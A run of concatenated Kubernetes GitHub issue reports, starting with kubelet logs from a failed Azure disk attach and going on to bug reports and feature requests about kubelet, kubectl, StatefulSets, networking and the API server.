kubernetes.io/azure-disk//subscriptions/a71140a1-1719-4ca9-8800-b03e4bb64914/resourcegroups/k8s-cluster-production/providers/microsoft.compute/disks/k8s-cluster-production-dynamic-pvc-25ba6630-3b6e-11e9-8700-000d3a450542\\\   pod \\\ graphite-0\\\   uid: \\\ 2dcb2656-4afb-11e9-8700-000d3a450542\\\   \ \r e0320 10:33:42.528080    3260 azure_dd.go:165  failed to list vm sizes in getvolumelimits, plugin.host: vmss-vm13309000174, location: westeurope\r e0320 10:33:52.551149    3260 azure_dd.go:165  failed to list vm sizes in getvolumelimits, plugin.host: vmss-vm13309000174, location: westeurope\r e0320 10:34:02.574950    3260 azure_dd.go:165  failed to list vm sizes in getvolumelimits, plugin.host: vmss-vm13309000174, location: westeurope\r i0320 10:34:04.622625    3260 reconciler.go:207  operationexecutor.verifycontrollerattachedvolume started for volume \ pvc-25ba6630-3b6e-11e9-8700-000d3a450542\   uniquename: \ kubernetes.io/azure-disk//subscriptions/a71140a1-1719-4ca9-8800-b03e4bb64914/resourcegroups/k8s-cluster-production/providers/microsoft.compute/disks/k8s-cluster-production-dynamic-pvc-25ba6630-3b6e-11e9-8700-000d3a450542\   pod \ graphite-0\   uid: \ 2dcb2656-4afb-11e9-8700-000d3a450542\  \r e0320 10:34:04.628919    3260 nestedpendingoperations.go:267  operation for \ \\\ kubernetes.io/azure-disk//subscriptions/a71140a1-1719-4ca9-8800-b03e4bb64914/resourcegroups/k8s-cluster-production/providers/microsoft.compute/disks/k8s-cluster-production-dynamic-pvc-25ba6630-3b6e-11e9-8700-000d3a450542\\\ \  failed. no retries permitted until 2019-03-20 10:35:08.628879 +0000 utc m=+32865.382250901  durationbeforeretry 1m4s . error: \ volume not attached according to node status for volume \\\ pvc-25ba6630-3b6e-11e9-8700-000d3a450542\\\   uniquename: \\\ kubernetes.io/azure-disk//subscriptions/a71140a1-1719-4ca9-8800-b03e4bb64914/resourcegroups/k8s-cluster-production/providers/microsoft.compute/disks/k8s-cluster-production-dynamic-pvc-25ba6630-3b6e-11e9-8700-000d3a450542\\\   pod \\\ graphite-0\\\   uid: \\\ 2dcb2656-4afb-11e9-8700-000d3a450542\\\   \ \r w0320 10:34:09.363969    3260 kubelet_pods.go:842  unable to retrieve pull secret v2/carbon for v2/profile-v2-prod-workers-6c74db66d4-tzb98 due to secret \ carbon\  not found.  the image pull may not succeed.\r e0320 10:34:12.603522    3260 azure_dd.go:165  failed to list vm sizes in getvolumelimits, plugin.host: vmss-vm13309000174, location: westeurope\r e0320 10:34:22.632095    3260 azure_dd.go:165  failed to list vm sizes in getvolumelimits, plugin.host: vmss-vm13309000174, location: westeurope\r e0320 10:34:32.661833    3260 azure_dd.go:165  failed to list vm sizes in getvolumelimits, plugin.host: vmss-vm13309000174, location: westeurope\r e0320 10:34:42.689052    3260 azure_dd.go:165  failed to list vm sizes in getvolumelimits, plugin.host: vmss-vm13309000174, location: westeurope\r e0320 10:34:52.709259    3260 azure_dd.go:165  failed to list vm sizes in getvolumelimits, plugin.host: vmss-vm13309000174, location: westeurope\r e0320 10:35:02.732061    3260 azure_dd.go:165  failed to list vm sizes in getvolumelimits, plugin.host: vmss-vm13309000174, location: westeurope\r e0320 10:35:03.806748    3260 kubelet.go:1655  unable to mount volumes for pod \ graphite-0_metrics 2dcb2656-4afb-11e9-8700-000d3a450542 \ : timeout expired waiting for volumes to attach or mount for pod \ metrics\ /\ graphite-0\ . list of unmounted volumes= graphite-data . list of unattached volumes= graphite-config graphite-data default-token-rrp2l ; skipping pod\r e0320 10:35:03.806816    3260 pod_workers.go:186  error syncing pod 2dcb2656-4afb-11e9-8700-000d3a450542  \ graphite-0_metrics 2dcb2656-4afb-11e9-8700-000d3a450542 \  , skipping: timeout expired waiting for volumes to attach or mount for pod \ metrics\ /\ graphite-0\ . list of unmounted volumes= graphite-data . list of unattached volumes= graphite-config graphite-data default-token-rrp2l \r i0320 10:35:08.721970    3260 reconciler.go:207  operationexecutor.verifycontrollerattachedvolume started for volume \ pvc-25ba6630-3b6e-11e9-8700-000d3a450542\   uniquename: \ kubernetes.io/azure-disk//subscriptions/a71140a1-1719-4ca9-8800-b03e4bb64914/resourcegroups/k8s-cluster-production/providers/microsoft.compute/disks/k8s-cluster-production-dynamic-pvc-25ba6630-3b6e-11e9-8700-000d3a450542\   pod \ graphite-0\   uid: \ 2dcb2656-4afb-11e9-8700-000d3a450542\  \r e0320 10:35:08.735797    3260 nestedpendingoperations.go:267  operation for \ \\\ kubernetes.io/azure-disk//subscriptions/a71140a1-1719-4ca9-8800-b03e4bb64914/resourcegroups/k8s-cluster-production/providers/microsoft.compute/disks/k8s-cluster-production-dynamic-pvc-25ba6630-3b6e-11e9-8700-000d3a450542\\\ \  failed. no retries permitted until 2019-03-20 10:37:10.7357557 +0000 utc m=+32987.489127601  durationbeforeretry 2m2s . error: \ volume not attached according to node status for volume \\\ pvc-25ba6630-3b6e-11e9-8700-000d3a450542\\\   uniquename: \\\ kubernetes.io/azure-disk//subscriptions/a71140a1-1719-4ca9-8800-b03e4bb64914/resourcegroups/k8s-cluster-production/providers/microsoft.compute/disks/k8s-cluster-production-dynamic-pvc-25ba6630-3b6e-11e9-8700-000d3a450542\\\   pod \\\ graphite-0\\\   uid: \\\ 2dcb2656-4afb-11e9-8700-000d3a450542\\\   \ \r e0320 10:35:12.762291    3260 azure_dd.go:165  failed to list vm sizes in getvolumelimits, plugin.host: vmss-vm13309000174, location: westeurope\r e0320 10:35:22.786661    3260 azure_dd.go:165  failed to list vm sizes in getvolumelimits, plugin.host: vmss-vm13309000174, location: westeurope\r e0320 10:35:32.812393    3260 azure_dd.go:165  failed to list vm sizes in getvolumelimits, plugin.host: vmss-vm13309000174, location: westeurope\r w0320 10:35:37.363860    3260 kubelet_pods.go:842  unable to retrieve pull secret v2/carbon for v2/profile-v2-prod-workers-6c74db66d4-tzb98 due to secret \ carbon\  not found.  the image pull may not succeed.\r e0320 10:35:42.844320    3260 azure_dd.go:165  failed to list vm sizes in getvolumelimits, plugin.host: vmss-vm13309000174, location: westeurope\r e0320 10:35:52.875053    3260 azure_dd.go:165  failed to list vm sizes in getvolumelimits, plugin.host: vmss-vm13309000174, location: westeurope\r e0320 10:36:02.900388    3260 azure_dd.go:165  failed to list vm sizes in getvolumelimits, plugin.host: vmss-vm13309000174, location: westeurope\r e0320 10:36:12.927191    3260 azure_dd.go:165  failed to list vm sizes in getvolumelimits, plugin.host: vmss-vm13309000174, location: westeurope\r e0320 10:36:22.950467    3260 azure_dd.go:165  failed to list vm sizes in getvolumelimits, plugin.host: vmss-vm13309000174, location: westeurope\r e0320 10:36:32.977422    3260 azure_dd.go:165  failed to list vm sizes in getvolumelimits, plugin.host: vmss-vm13309000174, location: westeurope\r w0320 10:36:42.364109    3260 kubelet_pods.go:842  unable to retrieve pull secret v2/carbon for v2/profile-v2-prod-workers-6c74db66d4-tzb98 due to secret \ carbon\  not found.  the image pull may not succeed.\r e0320 10:36:43.002311    3260 azure_dd.go:165  failed to list vm sizes in getvolumelimits, plugin.host: vmss-vm13309000174, location: westeurope\r e0320 10:36:53.023743    3260 azure_dd.go:165  failed to list vm sizes in getvolumelimits, plugin.host: vmss-vm13309000174, location: westeurope\r e0320 10:37:03.050171    3260 azure_dd.go:165  failed to list vm sizes in getvolumelimits, plugin.host: vmss-vm13309000174, location: westeurope\r i0320 10:37:10.802390    3260 reconciler.go:207  operationexecutor.verifycontrollerattachedvolume started for volume \ pvc-25ba6630-3b6e-11e9-8700-000d3a450542\   uniquename: \ kubernetes.io/azure-disk//subscriptions/a71140a1-1719-4ca9-8800-b03e4bb64914/resourcegroups/k8s-cluster-production/providers/microsoft.compute/disks/k8s-cluster-production-dynamic-pvc-25ba6630-3b6e-11e9-8700-000d3a450542\   pod \ graphite-0\   uid: \ 2dcb2656-4afb-11e9-8700-000d3a450542\  \r e0320 10:37:10.811328    3260 nestedpendingoperations.go:267  operation for \ \\\ kubernetes.io/azure-disk//subscriptions/a71140a1-1719-4ca9-8800-b03e4bb64914/resourcegroups/k8s-cluster-production/providers/microsoft.compute/disks/k8s-cluster-production-dynamic-pvc-25ba6630-3b6e-11e9-8700-000d3a450542\\\ \  failed. no retries permitted until 2019-03-20 10:39:12.8112054 +0000 utc m=+33109.564577301  durationbeforeretry 2m2s . error: \ volume not attached according to node status for volume \\\ pvc-25ba6630-3b6e-11e9-8700-000d3a450542\\\   uniquename: \\\ kubernetes.io/azure-disk//subscriptions/a71140a1-1719-4ca9-8800-b03e4bb64914/resourcegroups/k8s-cluster-production/providers/microsoft.compute/disks/k8s-cluster-production-dynamic-pvc-25ba6630-3b6e-11e9-8700-000d3a450542\\\   pod \\\ graphite-0\\\   uid: \\\ 2dcb2656-4afb-11e9-8700-000d3a450542\\\   \ \r e0320 10:37:13.071378    3260 azure_dd.go:165  failed to list vm sizes in getvolumelimits, plugin.host: vmss-vm13309000174, location: westeurope \r \r \r describe pod \r \r  name:               graphite-0\r namespace:          metrics\r priority:           0\r priorityclassname:  <none>\r node:               vmss-vm13309000174/10.240.6.49\r start time:         wed, 20 mar 2019 10:33:00 +0000\r labels:             controller-revision-hash=graphite-664477488\r                     statefulset.kubernetes.io/pod-name=graphite-0\r                     workload.user.cattle.io/workloadselector=statefulset-prometheus-graphite\r annotations:        cattle.io/timestamp=2019-03-20t09:28:15z\r                     field.cattle.io/ports=  {\ containerport\ :8080,\ dnsname\ :\ graphite-nodeport\ ,\ kind\ :\ nodeport\ ,\ name\ :\ 80tcp801\ ,\ protocol\ :\ tcp\ ,\ sourceport\ :80},{\ containerport\ :2003,\ dnsname\ :\ graphite-nodeport\ ,\ k...\r status:             pending\r ip:                 \r controlled by:      statefulset/graphite\r containers:\r   graphite:\r     container id:   \r     image:          graphiteapp/graphite-statsd:1.1.5-10\r     image id:       \r     ports:          8080/tcp, 2003/tcp, 2023/tcp\r     host ports:     0/tcp, 0/tcp, 0/tcp\r     state:          waiting\r       reason:       containercreating\r     ready:          false\r     restart count:  0\r     limits:\r       memory:  500mi\r     requests:\r       memory:     500mi\r     environment:  <none>\r     mounts:\r       /opt/graphite/conf/ from graphite-config  rw \r       /opt/graphite/storage/whisper from graphite-data  rw \r       /var/run/secrets/kubernetes.io/serviceaccount from default-token-rrp2l  ro \r conditions:\r   type              status\r   initialized       true \r   ready             false \r   containersready   false \r   podscheduled      true \r volumes:\r   graphite-config:\r     type:      configmap  a volume populated by a configmap \r     name:      graphite-server-conf\r     optional:  false\r   graphite-data:\r     type:       persistentvolumeclaim  a reference to a persistentvolumeclaim in the same namespace \r     claimname:  graphite-data\r     readonly:   false\r   default-token-rrp2l:\r     type:        secret  a volume populated by a secret \r     secretname:  default-token-rrp2l\r     optional:    false\r qos class:       burstable\r node-selectors:  <none>\r tolerations:     node.kubernetes.io/not-ready:noexecute for 300s\r                  node.kubernetes.io/unreachable:noexecute for 300s\r events:\r   type     reason              age                from                         message\r   ----     ------              ----               ----                         -------\r   normal   scheduled           49m                default-scheduler            successfully assigned metrics/graphite-0 to vmss-vm13309000174\r   warning  failedattachvolume  3m  x23 over 49m   attachdetach-controller      attachvolume.attach failed for volume \ pvc-25ba6630-3b6e-11e9-8700-000d3a450542\  : attach volume \ k8s-cluster-production-dynamic-pvc-25ba6630-3b6e-11e9-8700-000d3a450542\  to instance \ /subscriptions/a71140a1-1719-4ca9-8800-b03e4bb64914/resourcegroups/k8s-cluster-production/providers/microsoft.compute/virtualmachinescalesets/sig-5acb9b56_standard_f4_low/virtualmachines/1552\  failed with compute.virtualmachinescalesetvmsclient update: failure sending request: statuscode=0 -- original error: autorest/azure: service returned an error. status=<nil> code=\ operationnotallowed\  message=\ \ \r   warning  failedmount         2m  x20 over 45m   kubelet, vmss-vm13309000174  unable to mount volumes for pod \ graphite-0_metrics 2dcb2656-4afb-11e9-8700-000d3a450542 \ : timeout expired waiting for volumes to attach or mount for pod \ metrics\ /\ graphite-0\ . list of unmounted volumes= graphite-data . list of unattached volumes= graphite-config graphite-data default-token-rrp2l  \r \r \r

today heapster is enabled by default for both gke and gce for monitoring, but it doesn't collect stats from master node. the reason is master node is never register itself to apiserver. i remembered either me or @vishh  filed the issue before. but back then, the decision is we are going to use collectd + gcm as the default solution for both gke and gce. but decision was changed later, then i filed  9028.   now i realized that we missed monitoring on master node for both gke and gce. cc/ @brendandburns @alex-mohr @roberthbailey @thockin @vishh @saad-ali

if this is by design, we should do a better job of surfacing it in the cluster documentation. since most other read operations work it's only natural that someone will deploy a kubectl sidecar to watch apiserver resources and it's really hard to notice this is the case, because list works. @lavalamp

we currently use getting started's master and node cloud config yamls in our testing cluster. see https://github.com/kubernetes/kubernetes/tree/master/docs/getting-started-guides/coreos/cloud-configs  k8s cluster works fine. however, it sometimes happen that the docker assigns ips from wrong range, typically 172.x.x.x but it should use 10.x.x.x  our investigation shows that the issue is hidden in details :-  in short: - flannel generates file called  /run/flannel_docker_opts.env  - the docker start uses this file to set up it's environment  unfortunately, there is no dependency between flannel and docker in cloud config. thus, sometimes flannel and docker started simultaneously so the file was not generated and docker used own ip range.  according to  this topic  https://github.com/coreos/flannel/issues/112 issuecomment-72708347 :  'docker itself starts on demand  socket activated , therefore it will also start after flannel is up   the solution is therefore very simple. just remove docker's start command from both cloud configs.

we have e2e tests for the new security context features, but the  scdeny  admission controller is used by default in most cluster types.  we should enable it in gce in order to get coverage in ci on that stack.

currently volume plugins which require attachment of a device simply poll until the path exists. using something like  fsnotify  https://github.com/go-fsnotify/fsnotify  would eliminate the need for polling.  note: this introduces a dependency on fsnotify. ~~note 2: if the attach detach controller proposed by @saad-ali here  15524 implements a signal to indicate the completion of the attach this might not be needed.~~

with kubelet in standalone mode, i can put pods in /etc/kubernetes/manifests and it works ok. if it references a config map though, and i put the config map in /etc/kubernetes/manifests too, it doesn't work. but if i leave the pod in /etc/kubernetes/manifests and upload the config map through a server, it does work.  it would be nice, for those slowly transitioning from docker-compose to kubelet standalone, but not quite to full blown kubernetes to be able to load config map's via local manifests too.

environment  a working v1.2.4 single master, multi-node cluster coreos stable 1010.5.0 docker version 1.10.3, build 8acee1b kubelet binary located in /opt/bin/ start by kubetlet.service as defined here:               unit          description=kubernetes kubelet         documentation=https://github.com/kubernetes/kubernetes         requires=docker.service kubernetes-install.service         after=kubernetes-install.service           service          execstart=/opt/bin/kubelet \\         --register-node=false \\         --allow-privileged=true \\         --config=/etc/kubernetes/manifests \\         --cluster-dns=10.100.0.10 \\         --cluster_domain=cluster.local \\         --logtostderr=true         restart=always         restartsec=10           install          wantedby=multi-user.target      /etc/kubernetes/manifests/ contain two manifests:      calico-etcd.manifest kubernetes-master.manifest       calico-etcd.manifest.txt  https://github.com/kubernetes/kubernetes/files/350809/calico-etcd.manifest.txt   kubernetes-master.manifest.txt  https://github.com/kubernetes/kubernetes/files/350808/kubernetes-master.manifest.txt     step to reproduce  replace /opt/bin/kubelet with v1.3.0, reboot    observation:  when i ran  docker ps , only the calico/node container was trying to start.  and it was stuck at restarting because the etcd container defined in the the other manifest wasn't starting.    step to revert  replace /opt/bin/kublet with v1.2.4, reboot    expected results  containers described in both manifests should be starting.   so in addition to the calico/node container, i should be seeing a few containers with the hyperkube, etcd and pause.

as of now,  --advertise-address  only accepts ip addresses. an apiserver should have an option to advertise a dns name, in the case no ip address is permanently associated with the interface. a common situation where this is necessary is api servers behind an aws elb, which has no permanent ip address associated with it.  this could be implemented either by: - modifying  --advertise-address  and associated logic to accept a dns name as well - creating a new flag  --advertise-host-name  which is mutually exclusive with  --advertise-address   \\cc @madhusudancs @nikhiljindal

is this a bug report or feature request?    choose one : feature request    kubernetes version    use  kubectl version  : master    description  : currently, the  contrib/mesos  has been moved to https://github.com/kubernetes-incubator/kube-mesos-framework/ , so the  mesos/docker  cloud provider can not work with mesos because of lacking of  km  .  the proposal is to move  mesos/docker  cloud provider into https://github.com/kubernetes-incubator/kube-mesos-framework , and add a default cloud provider which using restful api to connection external cloud provider for necessary resources.  /cc @deads2k @karlkfi @mikedanese

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/kubernetes-e2e-aws/6499/  failed: deferred teardown {e2e.go}      error running teardown: exit status 1

@derekwaynecarr \r \r the following test is failing during some of the upgrade tests:\r \r  k8s.io  statefulset  k8s.io  basic statefulset functionality should handle healthy pet restarts during scale\r \r \ statefulset pet scaled unexpectedly scaled to 1 -> 2 replicas\ \r \r https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gke-gci-1.5-container_vm-1.6-upgrade-master/22 k8sio-statefulset-k8sio-basic-statefulset-functionality-should-handle-healthy-pet-restarts-during-scale\r \r this test job is creating a 1.5 cluster, upgrading the master to 1.6, and then running the 1.5 tests to ensure compatibility.\r \r can you take a look and see if this is an issue for the 1.6 release? thanks.

when the upgrade tests were automated, they had to be put in a single ginkgo test to properly coordinate the steps. we should split out the individual upgrade tests so that we don't have to manually triage to see which test failed. \r

is this a bug report or feature request?  : no\r \r   what happened  :\r now the  k8s.io/kubernetes/pkg/api/v1  and  k8s.io/client-go/pkg/api/v1  has been consistent in  k8s.io/api/core/v1  by pr  44784.\r there are 2 problems left:\r   for the import  clientv1 \ k8s.io/api/core/v1\   in some packages like  cmd/kube-proxy/app/server.go  https://github.com/kubernetes/kubernetes/blob/master/cmd/kube-proxy/app/server.go l33 , the alias name  clientv1  is not correct as api v1 has been seperated from client-go.\r    k8s.io/api/core/v1  and  clientv1 \ k8s.io/api/core/v1\   are duplicately imported in some packages like  pkg/kubelet/kubelet.go  https://github.com/kubernetes/kubernetes/blob/master/pkg/kubelet/kubelet.go l39-l40 \r \r   what you expected to happen  :\r   remove the duplicated import of package  k8s.io/api/core/v1 .\r   remove the alias name  clientv1  of the package  k8s.io/api/core/v1 .\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r   anything else we need to know?  :\r \r

now the attach_detach_controller have a feature that can decide to detach the volume for  terminating  pod. \r here is the function used to check the pod is  terminated  or not \r    go\r func ispodterminated pod  v1.pod, podstatus v1.podstatus  bool {\r \treturn podstatus.phase == v1.podfailed || podstatus.phase == v1.podsucceeded ||  pod.deletiontimestamp != nil && notrunning podstatus.containerstatuses \r }\r \r func notrunning statuses   v1.containerstatus  bool {\r \tfor _, status := range statuses {\r \t\tif status.state.terminated == nil && status.state.waiting == nil {\r \t\t\treturn false\r \t\t}\r \t}\r \treturn true\r }\r    \r but we can met the issue in the following scenario:\r 1. node become  notready \r 2. node controller wait for minutes and then do pod eviction\r 3. the pod maybe not get deleted our pod has finalizer and can't be removed in this scenario , then pod will become  unknown  status.\r 4. in this status, the pod have \ deletiontimestamp\  field, but pod's  phase  is  running   and every container  state is  running  , the pod will hold this volume, as we can see from the code that the function  ispodterminated  will return false for this pod.\r \r i think there should be a better way to handle this situation.\r

the node e2e density tests have been failing consistently: https://k8s-testgrid.appspot.com/sig-node-kubelet kubelet-serial-gce-e2e&include-filter-by-regex=create%20a%20batch%20of%20pods\r the only prs in the diff that touch the kubelet seem related to cni: https://github.com/kubernetes/kubernetes/compare/88975e98d...03cb11f02, with the likely candidate being  51250\r in the run prior to it failing, the latency ranged from 3s to 4s.  in the first failing run, 50% percentile latency ranged from ~16s to ~19s, which is a major increase..\r \r cc @kubernetes/sig-node-bugs @kubernetes/sig-network-bugs \r cc @dixudx

see issue  6079 as the roll-up for node upgrades.  while the basic mechanisms   6099,  6088  will be an out-of band process in bash, we would like to have the mechanism be written in go and hook into  pkg/cloudprovider .  aside from being generally more robust and maintainable, this will mean that our deployment and upgrade mechanisms can share code  as both move towards  pkg/cloudprovider  support . also, hosted solutions can then upstream and share code for deployment and upgrades.  references: - it was first mentioned in  3333 in  this comment  https://github.com/googlecloudplatform/kubernetes/issues/3333 issuecomment-69270075  that we don't want the upgrade mechanism to be a tangled mess of bash scripts. - the  kubedeploy  tool, which is related to sharing code for cluster-level operations and bash &rarr; go tooling, was proposed in  5472.

in kubectl 1.10, when i fetch enough pods to cause a ranged page  >500 , the headers get printed twice:\r \r    \r $ kubectl get pods -o wide --all-namespaces\r namespace                           name                                              ready     status              restarts   age       ip              node\r acs-engine-build                    acs-engine-web-16-t6prn                           1/1       running             0          2d        172.16.13.124   origin-ci-ig-n-hs69\r ...\r ci                                  tot-0                                             1/1       running             0          12h       172.16.13.175   origin-ci-ig-n-hs69\r namespace                           name                                              ready     status              restarts   age       ip              node\r ci                                  tracer-14-4jw7f                                   2/2       running             0          3d        172.16.13.55    origin-ci-ig-n-hs69\r ...\r    \r \r the headers should only be printed once.  this is a bug in chunk printing.\r \r @kubernetes/sig-cli-bugs

what would you like to be added  :\r in genericscheduler findnodesthatfit, workqueue.parallelizeuntil evaluates all checknode.\r afterwards, if there is any err, the func would return.\r \r we can add variant of parallelizeuntil which takes errs  an error map - map string int .\r    \r                                 select {\r                                 case <-stop:\r                                         return\r                                 default:\r                                         doworkpiece piece \r                                 }\r    \r we can add a new case above where once errs map is non-empty, return early.\r \r   why is this needed  :\r this addition would allow node evaluation to finish sooner if there is any error.

while trying to add kubernetes discovery to prometheus  prometheus/prometheus 905  using the golang client, i have to add 613 files & the addition of the kubernetes client has added 6mb to the binary, previously 17mb for all functionality. this has made it quite hard to contribute this functionality to prometheus as it makes reviews hard & the change to the binary size questionable.  i tried to move to straight  http.client  functionality with just references to the api packages, no client packages, & had this working, but dependencies & binary size didn't change much as the api packages require most of the packages listed below.  wonder if you have any thoughts on this as it could be a barrier to inclusion in other projects?  this is the full list of packages added to godep via  godep save  after adding the client in:      code.google.com/p/go-uuid/uuid                                                      github.com/googlecloudplatform/kubernetes/pkg/api                                   github.com/googlecloudplatform/kubernetes/pkg/auth/user                             github.com/googlecloudplatform/kubernetes/pkg/client                                github.com/googlecloudplatform/kubernetes/pkg/conversion                            github.com/googlecloudplatform/kubernetes/pkg/fields                                github.com/googlecloudplatform/kubernetes/pkg/labels                                github.com/googlecloudplatform/kubernetes/pkg/probe                                 github.com/googlecloudplatform/kubernetes/pkg/runtime                               github.com/googlecloudplatform/kubernetes/pkg/types                                 github.com/googlecloudplatform/kubernetes/pkg/util                                  github.com/googlecloudplatform/kubernetes/pkg/version                               github.com/googlecloudplatform/kubernetes/pkg/watch                                 github.com/googlecloudplatform/kubernetes/third_party/forked/reflect                github.com/sirupsen/logrus                                                          github.com/davecgh/go-spew/spew                                                                                                                                                                github.com/docker/docker/pkg/mount                                                  github.com/docker/libcontainer/cgroups                                              github.com/docker/libcontainer/configs                                              github.com/docker/libcontainer/system                                               github.com/ghodss/yaml                                                              github.com/golang/glog                                                              github.com/golang/protobuf/proto                                                    github.com/google/cadvisor/info/v1                                                  github.com/google/gofuzz                                                            github.com/hashicorp/consul/api                                                     github.com/juju/ratelimit                                                           github.com/julienschmidt/httprouter                                                 github.com/spf13/pflag                                                              github.com/syndtr/goleveldb/leveldb                                                 golang.org/x/crypto/ssh                                                             golang.org/x/net/context                                                            speter.net/go/exp/math/dec/inf

when a node is not ready, the pod created by daemonset is still in running phase which is in this node.  ! image  https://cloud.githubusercontent.com/assets/7920667/16948936/3a54fe20-4dea-11e6-893c-b2cdc3059a09.png  ! image  https://cloud.githubusercontent.com/assets/7920667/16948939/45bfcbe6-4dea-11e6-856e-e7c5180d0230.png  ! image  https://cloud.githubusercontent.com/assets/7920667/16948950/59cfe3fa-4dea-11e6-85f1-9608317df40f.png

i do not see any evidence of the federation tests ever passing: https://k8s-testgrid.appspot.com/google-federation  is there a plan to get these tests working? if not can we disable them to free up these resources to run other tests?

https://github.com/kubernetes/kubernetes/pull/35806 makes api server accepts deleteoptions as a query parameter, but apiserver cannot parse  ?propagationpolicy=orphan , which is a new field added in 1.6.\r    bash\r s$ curl -x delete http://localhost:8080/api/v1/namespaces/default/replicationcontrollers/redis?propagationpolicy=orphan\r {\r   \ kind\ : \ status\ ,\r   \ apiversion\ : \ v1\ ,\r   \ metadata\ : {},\r   \ status\ : \ failure\ ,\r   \ message\ : \ converting  url.values .  string.  string to  v1.deleteoptions . v1.deletionpropagation.v1.deletionpropagation: couldn't copy '  string' into 'v1.deletionpropagation'; didn't understand types\ ,\r   \ code\ : 500\r }\r    \r probably it's a bug in the parametercodec.\r \r cc @lavalamp @smarterclayton @bdbauer

kubernetes version    use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.2\ , gitcommit:\ 477efc3cbe6a7effca06bd1452fa356e2201e1ee\ , gittreestate:\ clean\ , builddate:\ 2017-04-19t20:33:11z\ , goversion:\ go1.7.5\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.2\ , gitcommit:\ 477efc3cbe6a7effca06bd1452fa356e2201e1ee\ , gittreestate:\ clean\ , builddate:\ 2017-04-19t20:22:08z\ , goversion:\ go1.7.5\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r   environment  :\r -   cloud provider or hardware configuration  : azure\r -   os    e.g. from /etc/os-release : red hat 7.3\r -   kernel    e.g.  uname -a  : linux envdev01-kubenode-xs-1 3.10.0-514.16.1.el7.x86_64 1 smp fri mar 10 13:12:32 est 2017 x86_64 x86_64 x86_64 gnu/linux\r -   install tools  : from binaries\r \r \r   what happened  : cloud-controller-manager doesn't support  --cluster-name . so it creates a azure load balancer named  kubernetes  instead of cluster name.\r \r \r   what you expected to happen  :\r  cloud-controller-manager  should support --cluster-name then yhe azure load balancer name should be the cluster name\r \r \r   how to reproduce it    as minimally and precisely as possible :\r    \r cloud-controller-manager  --cluster-name\r unknown flag: --cluster-name\r ...\r    \r

 \r with the certificate signing request api in the apiserver, certificate signing requests remain recorded in the database indefinitely. with increased effort at using the signing api in automated workflows, such as kubelet certificate auto rotation, the volume of csrs will only grow over time in running clusters.\r \r there should be a garbage collection process to delete out of data csrs. as initial criteria for gc:\r \r - status = approved,issued\r - issued date/time > 1 hour old\r \r - status = denied\r - issued date/time > 1 day old  to allow more time for troubleshooting \r

im working setting up a cluster and using this guide https://kubernetes.io/docs/setup/independent/create-cluster-kubeadm/\r \r on master i started everything using kubeadm init, then using export kubeconfig=/etc/kubernetes/admin.conf to get kubectl work and then deploy wave using: \r export kubever=$ kubectl version | base64 | tr -d '\ ' \r kubectl apply -f \ https://cloud.weave.works/k8s/net?k8s-version=$kubever\  \r \r on node i used kubeadm join to registre on master but i need to use kubectl command in order to deploy wave  if i don´t use this my node stuck notready . when i tried to execute kubectl gives me the connection to the server localhost:8080 was refused - did you specify the right host or port?\r \r i think this error is because i dont have admin.conf on node machine. what i need to do? execute kubeadm init in order to generate it or copy this file from master?

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r  >  \r \r   what happened  :\r 1. create a statefulset which will never be running:\r    \r apiversion: apps/v1beta1\r kind: statefulset\r metadata:\r   name: failss\r spec:\r   servicename: \ failss\ \r   replicas: 2\r   selector:\r     matchlabels:\r       app: failss\r   template:\r     metadata:\r       labels:\r         app: failss\r     spec:\r       containers:\r       - name: failss\r         image: debian:7.8\r         args:\r         - \ 1\ \r         command:\r         - exit\r    \r 2. scale down it\r    \r kubectl scale statefulset failss --replicas=0\r    \r 3. check the pods\r    \r   kubectl get statefulset\r name      desired   current   age\r failss          0         0         35m\r   kubectl get pods\r name                                          ready     status             restarts   age\r failss-0                                     0/1       crashloopbackoff   11         35m\r    \r 4. it seems like only running pods will be deleted. and crashloopbackoff pods are not included into \ current\  pod.\r \r   what you expected to happen  :\r i guess the failss-0 should be deleted after replicas set to 0, but it doesn't.\r is such behavior designed by purpose?\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r change  statefulset  to  replicationcontrollers , and it can be scaled down...\r    \r apiversion: v1\r kind: replicationcontroller\r metadata:\r   name: failrc\r spec:\r   replicas: 1\r   selector:\r     app: failrc\r   template:\r     metadata:\r       name: failrc\r       labels:\r         app: failrc\r     spec:\r       containers:\r       - name: failrc\r         image: debian:7.8\r         ports:\r         - containerport: 80\r         args:\r         - \ 1\ \r         command:\r         - exit\r    \r    \r   kubectl scale replicationcontroller failrc --replicas=0\r   kubectl get pods\r    \r now the crashloopbackoff pods got deleted...\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 6+\ , gitversion:\ v1.6.7-beta.0+$format:%h$\ , gitcommit:\ bb053ff0cb25a043e828d62394ed626fda2719a1\ , gittreestate:\ dirty\ , builddate:\ 2017-08-26t09:34:19z\ , goversion:\ go1.8\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 6+\ , gitversion:\ v1.6.7-beta.0+$format:%h$\ , gitcommit:\ a8687ef052b367fee6f94de533940eccaf7890cd\ , gittreestate:\ clean\ , builddate:\ 2017-09-06t08:32:34z\ , goversion:\ go1.9\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :  debian\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r \r

i have an env var like so\r \r    \r           env:\r             - name: test_foo\r               value: \ $$what\ \r    \r \r kubectl shows\r \r    \r     environment:\r       test_foo:                                  $$what\r \r    \r \r when my container runs i see  test_foo=$what \r \r possibly this is working as designed, but i don't see it documented anywhere.\r

